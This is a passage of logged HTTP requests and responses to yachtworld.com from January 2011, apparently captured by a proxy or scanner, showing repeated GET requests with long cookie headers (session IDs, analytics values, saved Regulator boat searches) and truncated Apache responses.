savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:56:41 GMT Server: Apache Set-Cookie: JSESSIONID=F61D5398BBCD60968135F133ABF40C44.boapp05; Path=/boat-loans; Secure Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head> <title> My YachtWorldLoan - yachtworld.com
GET /boat-loans/myLoan.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:56:36 GMT Server: Apache Set-Cookie: JSESSIONID=C49ADEF3AACD827887E2EE0BB766CCF9.boapp05; Path=/boat-loans; Secure Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head> <title>
boat loans, yacht financing and refinancing - yachtworld.com </title>
GET /byp/categories/BrokerageSales/BoatDealers.html.en HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:58:53 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Length: 34234 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Language: en-us
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en"> <head> <title>Boat and Yacht Sales, Buy Boats and Yachts - YachtWorld.com ...[SNIP]...
GET /byp/categories/BrokerageSales/YachtBrokerageFirms.html.en HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:58:48 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Length: 36765 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Language: en-us
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en"> <head> <title>Boat and Yacht Sales, Buy Boats and Yachts - YachtWorld.com ...[SNIP]...
GET /byp/categories/Surveyors/index.html.en HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:58:55 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Length: 20753 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Language: en-us
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US"> <head> <title>Boat and Yacht Sales, Buy Boats and Yachts - YachtWorld. ...[SNIP]...
GET /byp/searchbyp.cgi.en HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; 